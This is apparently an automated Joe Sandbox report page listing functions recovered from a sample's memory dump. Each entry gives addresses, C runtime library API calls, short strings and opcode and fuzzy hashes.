Uniqueness

Uniqueness Score: -1.00%

Function 00416467 Relevance: 35.4, APIs: 19, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 004164AC
_isdigit.LIBCMTD ref: 004164D2
___check_float_string.LIBCMTD ref: 00416532
__inc.LIBCMTD ref: 00416550
_isdigit.LIBCMTD ref: 00416602
___check_float_string.LIBCMTD ref: 00416662
___check_float_string.LIBCMTD ref: 004165E9

Part of subcall function 00416BC0: __nh_malloc_dbg.LIBCMTD ref: 00416C1D

__inc.LIBCMTD ref: 004165AD

Part of subcall function 00416D20: __filbuf.LIBCMTD ref: 00416D61

___check_float_string.LIBCMTD ref: 004166F6
__inc.LIBCMTD ref: 00416714
___check_float_string.LIBCMTD ref: 00416757
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416AC6

Strings

+, xrefs: 0041676C

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: ___check_float_string$__inc$Locale_isdigit$UpdateUpdate::~___filbuf__nh_malloc_dbg
String ID: +
API String ID: 1483831053-2126386893
Opcode ID: e9f55ae8b76beee1eb9203579d425b9845273f33eba8d9e45e6072a8fa70b33b
Instruction ID: 21a02dc5d4bd23ec448ef7bfd427eaaa26b80944a3c642f500afdd2678e3b0a9
Opcode Fuzzy Hash: e9f55ae8b76beee1eb9203579d425b9845273f33eba8d9e45e6072a8fa70b33b
Instruction Fuzzy Hash: A5F181B5D002199BCF14CF99CC90AEEBB75BF45308F1486AED819A7302D639EA84CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00415F0F Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 387COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 00415F61
__inc.LIBCMTD ref: 00415F89
__inc.LIBCMTD ref: 00415FBC
__un_inc.LIBCMTD ref: 00416043
_isxdigit.LIBCMTD ref: 004160DD
__hextodec.LIBCMTD ref: 00416110

Strings

F, xrefs: 004163DB
8, xrefs: 004162F5

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __inc$__hextodec__un_inc_isxdigit
String ID: 8$F
API String ID: 3652663768-3144575033
Opcode ID: 034b24a0a80f6d28dd27635d06ac7af812587400d4d507c45e5804c49e50e950
Instruction ID: 2df72c98ba9ca0dcdec352bc43f993584f309e48d4e4d4bbfe8415238eb164df
Opcode Fuzzy Hash: 034b24a0a80f6d28dd27635d06ac7af812587400d4d507c45e5804c49e50e950
Instruction Fuzzy Hash: DE028EB0D042699BCF25CF69C8947EEBBB1AF55308F1481DAD8196B342D3399AC1CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00424769 Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004247F8
_get_int64_arg.LIBCMTD ref: 00424820
__aullrem.LIBCMT ref: 004249C5
__aulldiv.LIBCMT ref: 004249E7
_write_multi_char.LIBCMTD ref: 00424AEE
_write_string.LIBCMTD ref: 00424B09
_write_multi_char.LIBCMTD ref: 00424B35
_wctomb_s.LIBCMTD ref: 00424BB2

Strings

9, xrefs: 004249F8
-, xrefs: 00424A8E

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 3451365851-1631151375
Opcode ID: a98b0c9e0ce2447133ef877ea7c31d7fb912011dbd2b124584e6fb336ae0157d
Instruction ID: 6f196f54e9df5561a629d87c2d6c9eee076a4473e75602ae6407962a519ed664
Opcode Fuzzy Hash: a98b0c9e0ce2447133ef877ea7c31d7fb912011dbd2b124584e6fb336ae0157d
Instruction Fuzzy Hash: 91F15AB1E052298FDB24CF59DC89BAEB7B5FB84304F5481DAE019A7280D7385E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042D32B Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D3C0
_get_int64_arg.LIBCMTD ref: 0042D3E8
__aullrem.LIBCMT ref: 0042D590
__aulldiv.LIBCMT ref: 0042D5B2
_write_multi_char.LIBCMTD ref: 0042D6CB
_write_string.LIBCMTD ref: 0042D6E6
_write_multi_char.LIBCMTD ref: 0042D712
__mbtowc_l.LIBCMTD ref: 0042D781

Strings

9, xrefs: 0042D5C3

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 3455034128-2366072709
Opcode ID: 6dcda3c6dcba6b4f367643110fa39a4dc95e4e5f646a775a4f6fafcfc2abd301
Instruction ID: ac9e551d36cce128ed745aa737aaf65dccba946ff9d609bc00507c42b86bf317
Opcode Fuzzy Hash: 6dcda3c6dcba6b4f367643110fa39a4dc95e4e5f646a775a4f6fafcfc2abd301
Instruction Fuzzy Hash: 0CF16CB1E002299FDB24CF58DC81BEEB7B0BF85304F54419AE509A7241D778AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00426663 Relevance: 25.8, APIs: 17, Instructions: 296COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004266AB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004266E1
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00426702
wcsncnt.LIBCMTD ref: 00426739
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042679F
_wcslen.LIBCMTD ref: 004269AF
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004269BD

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_wcslenwcsncnt
String ID:
API String ID: 1043867012-0
Opcode ID: b432d3decd5058753a9c8d7c7c551d544b79d7519b707f4503e26a296911c207
Instruction ID: bca59d63d5d7791b02baab540350ec99ccdf42647c857d4a92949a7a17dc1be4
Opcode Fuzzy Hash: b432d3decd5058753a9c8d7c7c551d544b79d7519b707f4503e26a296911c207
Instruction Fuzzy Hash: 9FD14771A10218EFCB04DF94D894BEEB7B1FF45304F61856AE4126B2A0DB38AE51CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004244C7 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 004244CB
__get_printf_count_output.LIBCMTD ref: 004244D9
__invalid_parameter.LIBCMTD ref: 00424560
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00424575
_write_multi_char.LIBCMTD ref: 00424AEE
_write_string.LIBCMTD ref: 00424B09
_write_multi_char.LIBCMTD ref: 00424B35
_wctomb_s.LIBCMTD ref: 00424BB2

Strings

-, xrefs: 00424A8E

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: -
API String ID: 2357813345-2547889144
Opcode ID: 59d600770d8916b55d526bc520d8c5485b177309f42779bc1e5096f09ffec036
Instruction ID: 07eec88ed94a6a44024f3a9eb11fcaf0e4635cbebd1c422981427915157c0de4
Opcode Fuzzy Hash: 59d600770d8916b55d526bc520d8c5485b177309f42779bc1e5096f09ffec036
Instruction Fuzzy Hash: C2A19C70E052289BDB24DF59DC49BEEB7B0EB84308F5481DAE1197A281D7789EC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00424315 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00424319
_strlen.LIBCMT ref: 00424349
_write_multi_char.LIBCMTD ref: 00424AEE
_write_string.LIBCMTD ref: 00424B09
_write_multi_char.LIBCMTD ref: 00424B35
_wctomb_s.LIBCMTD ref: 00424BB2

Strings

|I@, xrefs: 0042433C
-, xrefs: 00424A8E

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: -$|I@
API String ID: 2232461714-3668901929
Opcode ID: 6ab69d87c705c17d4b7e5c4ec983c51f553a41dfdb1a300f183af2a826f04dd7
Instruction ID: c09df9588b7efd294af9bf49d709d86af1a32f3a9757b082341825f8b21e2ff7
Opcode Fuzzy Hash: 6ab69d87c705c17d4b7e5c4ec983c51f553a41dfdb1a300f183af2a826f04dd7
Instruction Fuzzy Hash: AEA17DB0E012288FDB24CF59DC49BEEB7B1EB84305F5481DAE4196B291D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00415B9C Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 256COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00415BE4
__un_inc.LIBCMTD ref: 00415D38
__inc.LIBCMTD ref: 00415D6A
__inc.LIBCMTD ref: 00415E29
__mbtowc_l.LIBCMTD ref: 00415E6B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416AC6

Strings

{, xrefs: 00415DAC
{, xrefs: 00415D12
], xrefs: 00415BFD
, xrefs: 00415DA3

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Locale__inc$UpdateUpdate::~___mbtowc_l__un_inc_memset
String ID: $]${${
API String ID: 2643002128-1336171634
Opcode ID: 7780971589c9fd84191750d75268ee8bc94bd12fc4c251523a932726b9a80fc0
Instruction ID: e70c35cc8c691f7b4bb76012660240b780bb91145afb69b76e8d8c6acfb0b70f
Opcode Fuzzy Hash: 7780971589c9fd84191750d75268ee8bc94bd12fc4c251523a932726b9a80fc0
Instruction Fuzzy Hash: 35B1E670D05798CBCF15CBA9D4906EDFBB1AF86304F18C19BE869AB342D2385A80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0042CEB4 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0042CEB8
_strlen.LIBCMT ref: 0042CEE8
_write_multi_char.LIBCMTD ref: 0042D6CB
_write_string.LIBCMTD ref: 0042D6E6
_write_multi_char.LIBCMTD ref: 0042D712
__mbtowc_l.LIBCMTD ref: 0042D781

Strings

|I@, xrefs: 0042CEDB

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: |I@
API String ID: 909868375-4123917818
Opcode ID: ce0a515c50171f4ab66647a9f82cb1111727f972df458f6065bf504c5fb3432f
Instruction ID: d90b15571ae8b27df31924a370b6735ac88fe0c0eeb62f0cf41213f4e91914b8
Opcode Fuzzy Hash: ce0a515c50171f4ab66647a9f82cb1111727f972df458f6065bf504c5fb3432f
Instruction Fuzzy Hash: 08A161B1E002289FDB24DF54DC81BAEB7B5BB84304F54819AE609A7281D7789E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0042D08A Relevance: 16.7, APIs: 11, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0042D08E
__get_printf_count_output.LIBCMTD ref: 0042D09C
__invalid_parameter.LIBCMTD ref: 0042D123
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042D138
_write_multi_char.LIBCMTD ref: 0042D6CB
_write_string.LIBCMTD ref: 0042D6E6
_write_multi_char.LIBCMTD ref: 0042D712
__mbtowc_l.LIBCMTD ref: 0042D781

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 2386203720-0
Opcode ID: f6fdbda4278cfe999a7691bf9326d632425861563eb0b1bfd2edaf6c200fe0f4
Instruction ID: 46c1e289cfd7f1d2efeaf126676567af8066ff9ac637783b83292659c8364a89
Opcode Fuzzy Hash: f6fdbda4278cfe999a7691bf9326d632425861563eb0b1bfd2edaf6c200fe0f4
Instruction Fuzzy Hash: 26A16FB0E002289FDB24DF55DC81BAEB774AB84308F54419AE61A7B282D77C5E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00415B4A Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 205COMMON

Download Yara Rule

APIs

__un_inc.LIBCMTD ref: 00415D38
__inc.LIBCMTD ref: 00415D6A
__inc.LIBCMTD ref: 00415E29
__mbtowc_l.LIBCMTD ref: 00415E6B

Strings

c, xrefs: 00415EE5
, xrefs: 00415DA3

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __inc$__mbtowc_l__un_inc
String ID: $c
API String ID: 579247601-3797896886
Opcode ID: 7aeba25dffc0e0e604f0ad4e649b7d8cd7500e23eaff03bdf1507a45ca4b04f3
Instruction ID: 7661a224419c357cd643db258282cb3a94537d19a8ef71e9cbbc5b174757299c
Opcode Fuzzy Hash: 7aeba25dffc0e0e604f0ad4e649b7d8cd7500e23eaff03bdf1507a45ca4b04f3
Instruction Fuzzy Hash: 13917E70D05658DBCF24CB55D8946EEBB71AF85304F14C29AE829AB242D7399AC1CF09

Uniqueness

Uniqueness Score: -1.00%

Function 0040C165 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0040C179
__CrtIsValidHeapPointer.LIBCMTD ref: 0040C205
_CheckBytes.LIBCMTD ref: 0040C2B0
_CheckBytes.LIBCMTD ref: 0040C36A
_memset.LIBCMT ref: 0040C461
__free_base.LIBCMTD ref: 0040C46D

Strings

tDj, xrefs: 0040C1BB

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: tDj
API String ID: 25084783-2513116121
Opcode ID: 414656feb65bf69c6ca2f3c7f7ce935b562f2588ed0eb2dbeb97f67bd0aa27c4
Instruction ID: 8eb237e8b3e76c3b276032e99c5f0be8268a1ca0b911b6f57948685039f93025
Opcode Fuzzy Hash: 414656feb65bf69c6ca2f3c7f7ce935b562f2588ed0eb2dbeb97f67bd0aa27c4
Instruction Fuzzy Hash: A491C274A40204EBEB24DB84DDD2F6A7361AB48704F344269F504BB2C2D2B9EE41DB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00419B27 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100windowCOMMON

Download Yara Rule

APIs

__snwprintf_s.LIBCMTD ref: 00419BCB
__invoke_watson_if_oneof.LIBCMTD ref: 00419BFE
_wcscpy_s.LIBCMTD ref: 00419C40
__invoke_watson_if_error.LIBCMTD ref: 00419C49
___crtMessageBoxW.LIBCMTD ref: 00419C62
_raise.LIBCMTD ref: 00419C7B

Strings

8@, xrefs: 00419B4F

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof__snwprintf_s_raise_wcscpy_s
String ID: 8@
API String ID: 1485069716-2238867959
Opcode ID: a2d9857b4e5de196b01e5e85aed44aa97bf484e4be5f44e94f0021691c5d91ce
Instruction ID: a0e6228704f90a1b5d92b433c443d800cc2943bd3e227fb9ec62ec5e19184eb0
Opcode Fuzzy Hash: a2d9857b4e5de196b01e5e85aed44aa97bf484e4be5f44e94f0021691c5d91ce
Instruction Fuzzy Hash: BC3195B5E40218BBDB24DB95DC56FDA73B56B88704F0041AAF308762C5D6B86EC08F99

Uniqueness

Uniqueness Score: -1.00%

Function 00415B84 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

__un_inc.LIBCMTD ref: 00415D38
__inc.LIBCMTD ref: 00415D6A
__inc.LIBCMTD ref: 00415E29
__mbtowc_l.LIBCMTD ref: 00415E6B

Strings

{, xrefs: 00415DAC
, xrefs: 00415DA3

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __inc$__mbtowc_l__un_inc
String ID: ${
API String ID: 579247601-4046706400
Opcode ID: 370e87534c82169bc421d129c7a976222ce530f30173c7d6284ca63a9bff94c2
Instruction ID: 861e3bb48edc344ebca8c9b9b96498b6519f81f695dacb0d8c0f843b05c8834c
Opcode Fuzzy Hash: 370e87534c82169bc421d129c7a976222ce530f30173c7d6284ca63a9bff94c2
Instruction Fuzzy Hash: 04418FB4D05758DBCF24DBA5D8446EEBB71AF85304F14C1ABE429AB202D7389A81CF09

Uniqueness

Uniqueness Score: -1.00%

Function 00417C88 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417CE9
__aullrem.LIBCMT ref: 00417EB6
__aulldiv.LIBCMT ref: 00417ED8

Strings

9, xrefs: 00417EE9
', xrefs: 00417C88
0, xrefs: 00417CA4

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: c91bb5e826d2381bd184935de156133d9284543434d1a4f0515eb28ed838d2cd
Instruction ID: 8a732f80bf7e15ae246790a5bdb4edcddbd1898448b14bacab98d42e29e59a24
Opcode Fuzzy Hash: c91bb5e826d2381bd184935de156133d9284543434d1a4f0515eb28ed838d2cd
Instruction Fuzzy Hash: EF41D071A082299FDB64DF58D989BEEB7B5BF44300F1485DAE009AB241C7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00424797 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004247F8
__aullrem.LIBCMT ref: 004249C5
__aulldiv.LIBCMT ref: 004249E7

Strings

0, xrefs: 004247B3
', xrefs: 00424797
9, xrefs: 004249F8

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 20b189d9d595e5039478cb2e69d37d8618e75098b764b39dba7c44292bf47ba6
Instruction ID: 783fc7998b0e1e9f8675fecc8ba1dd40b19e3a899dcd0f825f7970667af24a8a
Opcode Fuzzy Hash: 20b189d9d595e5039478cb2e69d37d8618e75098b764b39dba7c44292bf47ba6
Instruction Fuzzy Hash: 7241F5B1E15229DFDB24CF58E899BAEB7B5FB84304F6485DAD058A7240C7389E80CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00415F2A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 00415F89
__inc.LIBCMTD ref: 00415FBC
_isxdigit.LIBCMTD ref: 004160DD
__hextodec.LIBCMTD ref: 00416110
_isdigit.LIBCMTD ref: 00416136
__inc.LIBCMTD ref: 00416220
__un_inc.LIBCMTD ref: 00416244

Strings

0, xrefs: 00415F6F
p, xrefs: 004160CF

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __inc$__hextodec__un_inc_isdigit_isxdigit
String ID: 0$p
API String ID: 500523077-2059906072
Opcode ID: 8c6a8f2a7e76587e08a93b95287f9892c24ccc4b680948073a30ea28a5f56d74
Instruction ID: 3d43cb38357ea1fcec620b8d40d400c1cb4abc9bc8919d430c314b87c850dc95
Opcode Fuzzy Hash: 8c6a8f2a7e76587e08a93b95287f9892c24ccc4b680948073a30ea28a5f56d74
Instruction Fuzzy Hash: 8D415FB5D042588ADF25CFA5C8547EEBBB2AF45304F2481EFD41966202D3399AC1CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00414F01 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

__set_error_mode.LIBCMTD ref: 00414F68
__set_error_mode.LIBCMTD ref: 00414F77
_strlen.LIBCMT ref: 00414FB4

Strings

t/j, xrefs: 00414FA1
jjj, xrefs: 00414F50
H, xrefs: 00414F58

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __set_error_mode$_strlen
String ID: jjj$t/j$H
API String ID: 3008368703-1478387210
Opcode ID: df32b8b76767d0d70547ac0e345b241c6897c4b56791d75b23dbf41d904a95e0
Instruction ID: 0013b58c02947ada93992de904b3ad49ffb0269ce90f0622dae64b12c05e3e5f
Opcode Fuzzy Hash: df32b8b76767d0d70547ac0e345b241c6897c4b56791d75b23dbf41d904a95e0
Instruction Fuzzy Hash: AC21F874900208FBDF24DB98D945BEE33B0EB85315F10422AE50656391D3399F92DB8E

Uniqueness

Uniqueness Score: -1.00%

Function 00417C75 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417CE9
__aullrem.LIBCMT ref: 00417EB6
__aulldiv.LIBCMT ref: 00417ED8

Strings

9, xrefs: 00417EE9
0, xrefs: 00417CA4

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 3a6ef35462b9141f830e6dcc3552d0796590c02247316c3bba0d83f3e3a2e5ec
Instruction ID: 03384e6ef66abd28abc33e6d130ec155676d446fbf00550f488dbfabec6ee73a
Opcode Fuzzy Hash: 3a6ef35462b9141f830e6dcc3552d0796590c02247316c3bba0d83f3e3a2e5ec
Instruction Fuzzy Hash: 0341E071A082299FDB64CF48D989BEEB7B5BB44300F1485DAE049AB241C7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00424784 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004247F8
__aullrem.LIBCMT ref: 004249C5
__aulldiv.LIBCMT ref: 004249E7

Strings

0, xrefs: 004247B3
9, xrefs: 004249F8

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 56d1e99e74ec0093ff5cdec6c7b3fc0a39694b9d90521717cd4645ed4784e8a9
Instruction ID: 3aa16e972389cc8f2d13cd6d8b9439bdce5eed235b394c60e83923b89cbe23eb
Opcode Fuzzy Hash: 56d1e99e74ec0093ff5cdec6c7b3fc0a39694b9d90521717cd4645ed4784e8a9
Instruction Fuzzy Hash: FF4106B1E15229DFEB24CF58E899BAEB7B5FB84304F6481DAD058A7240C7385E84CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0042D359 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D3C0
__aullrem.LIBCMT ref: 0042D590
__aulldiv.LIBCMT ref: 0042D5B2

Strings

9, xrefs: 0042D5C3
', xrefs: 0042D359

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 1472d24e74162a8fa1848ba1d4a97eee553a21331b8e48d52ce732f6fda1182e
Instruction ID: 335a5208eb552df639c4b6787006f3b0eec45df30602ea441174971ec9387533
Opcode Fuzzy Hash: 1472d24e74162a8fa1848ba1d4a97eee553a21331b8e48d52ce732f6fda1182e
Instruction Fuzzy Hash: 644118B1E00129AFDB24CF48D941BAEB7B4FF85318F5041DAD149AB241D778AE81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00416057 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 004160A5
_isxdigit.LIBCMTD ref: 004160DD
__hextodec.LIBCMTD ref: 00416110

Strings

p, xrefs: 004160CF
+, xrefs: 00416070

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __hextodec__inc_isxdigit
String ID: +$p
API String ID: 3003077261-1790238857
Opcode ID: 1768e2c04ca5d38e3880cd68fb85d38554886d63ae32f8ac7495dd393a4b287f
Instruction ID: 7aa471e1cbe43a940f40220522d13d408c21d4bbb0410b73f04b2600f6a63bf8
Opcode Fuzzy Hash: 1768e2c04ca5d38e3880cd68fb85d38554886d63ae32f8ac7495dd393a4b287f
Instruction Fuzzy Hash: 99315075D042598ACF25CFA9C8543EEBF71AF05308F1581DEC84966302D2399AC5CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0041E180 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

__raise_exc.LIBCMTD ref: 0041E1A1

Part of subcall function 0041E770: __raise_exc_ex.LIBCMTD ref: 0041E78F

__umatherr.LIBCMTD ref: 0041E1F6

Part of subcall function 0041EAB0: __ctrlfp.LIBCMTD ref: 0041EB00

__ctrlfp.LIBCMTD ref: 0041E21A

Strings

Q., xrefs: 0041E1AC
RB, xrefs: 0041E208

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __ctrlfp$__raise_exc__raise_exc_ex__umatherr
String ID: Q.$RB
API String ID: 3448981373-1859500299
Opcode ID: 703ed5533ec37675597827cb863c23683db228efb67d50dd3c9634e2b908bb8d
Instruction ID: 9e66f809230962986ab13ccee4bf46c56d22bee756055651ab3b9d7c870abd16
Opcode Fuzzy Hash: 703ed5533ec37675597827cb863c23683db228efb67d50dd3c9634e2b908bb8d
Instruction Fuzzy Hash: B111A5FA800104DBCF14EF95DCC6A967374BF48304F0446DEED454B18ADA35D9A8CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040A01D Relevance: 7.6, APIs: 5, Instructions: 127COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0040A0C5

Part of subcall function 0040E560: __encode_pointer.LIBCMTD ref: 0040E641

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

